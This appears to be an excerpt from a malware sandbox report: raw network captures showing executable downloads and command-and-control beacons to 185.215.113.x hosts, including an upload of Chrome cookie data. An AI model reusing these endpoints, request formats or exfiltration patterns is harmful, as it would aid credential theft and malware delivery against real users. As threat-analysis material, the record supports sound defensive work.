Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 24 Oct 2024 06:38:45 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 24 Oct 2024 06:38:46 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 24 Oct 2024 06:38:47 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 24 Oct 2024 06:38:48 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 42 32 43 37 38 42 37 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79BB2C78B75C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 31 33 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001134001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 31 33 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001135001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFBGDBFBKKJECBFHDGIEHost: 185.215.113.37Content-Length: 209Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 30 46 35 33 39 39 31 35 36 45 41 32 30 33 37 39 30 32 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 2d 2d 0d 0a Data Ascii: ------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="hwid"20F5399156EA20379026------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="build"doma------KFBGDBFBKKJECBFHDGIE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAFIIJDAAAAKFHIDAAAHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 64 32 63 63 62 62 65 39 38 63 63 61 31 65 61 62 37 65 65 38 30 30 36 64 36 66 35 35 30 35 63 38 66 35 65 39 62 36 30 66 65 63 62 38 33 34 33 38 37 35 32 30 64 32 39 30 38 30 39 34 64 30 32 38 66 30 36 36 36 66 66 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 2d 2d 0d 0a Data Ascii: ------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="token"bd2ccbbe98cca1eab7ee8006d6f5505c8f5e9b60fecb834387520d2908094d028f0666ff------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="message"browsers------DAAFIIJDAAAAKFHIDAAA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCAAEGDBKJJKECBKFHCHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 64 32 63 63 62 62 65 39 38 63 63 61 31 65 61 62 37 65 65 38 30 30 36 64 36 66 35 35 30 35 63 38 66 35 65 39 62 36 30 66 65 63 62 38 33 34 33 38 37 35 32 30 64 32 39 30 38 30 39 34 64 30 32 38 66 30 36 36 36 66 66 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 2d 2d 0d 0a Data Ascii: ------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="token"bd2ccbbe98cca1eab7ee8006d6f5505c8f5e9b60fecb834387520d2908094d028f0666ff------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="message"plugins------AFCAAEGDBKJJKECBKFHC--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDAAEHDHIIJKECBKEBAHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 41 45 48 44 48 49 49 4a 4b 45 43 42 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 64 32 63 63 62 62 65 39 38 63 63 61 31 65 61 62 37 65 65 38 30 30 36 64 36 66 35 35 30 35 63 38 66 35 65 39 62 36 30 66 65 63 62 38 33 34 33 38 37 35 32 30 64 32 39 30 38 30 39 34 64 30 32 38 66 30 36 36 36 66 66 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 45 48 44 48 49 49 4a 4b 45 43 42 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 45 48 44 48 49 49 4a 4b 45 43 42 4b 45 42 41 2d 2d 0d 0a Data Ascii: ------BGDAAEHDHIIJKECBKEBAContent-Disposition: form-data; name="token"bd2ccbbe98cca1eab7ee8006d6f5505c8f5e9b60fecb834387520d2908094d028f0666ff------BGDAAEHDHIIJKECBKEBAContent-Disposition: form-data; name="message"fplugins------BGDAAEHDHIIJKECBKEBA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEBKKEGDBFIIEBFHIEHHost: 185.215.113.37Content-Length: 6563Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 31 33 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001136001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECFIECBGDGCAAAEHIEHost: 185.215.113.37Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 64 32 63 63 62 62 65 39 38 63 63 61 31 65 61 62 37 65 65 38 30 30 36 64 36 66 35 35 30 35 63 38 66 35 65 39 62 36 30 66 65 63 62 38 33 34 33 38 37 35 32 30 64 32 39 30 38 30 39 34 64 30 32 38 66 30 36 36 36 66 66 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 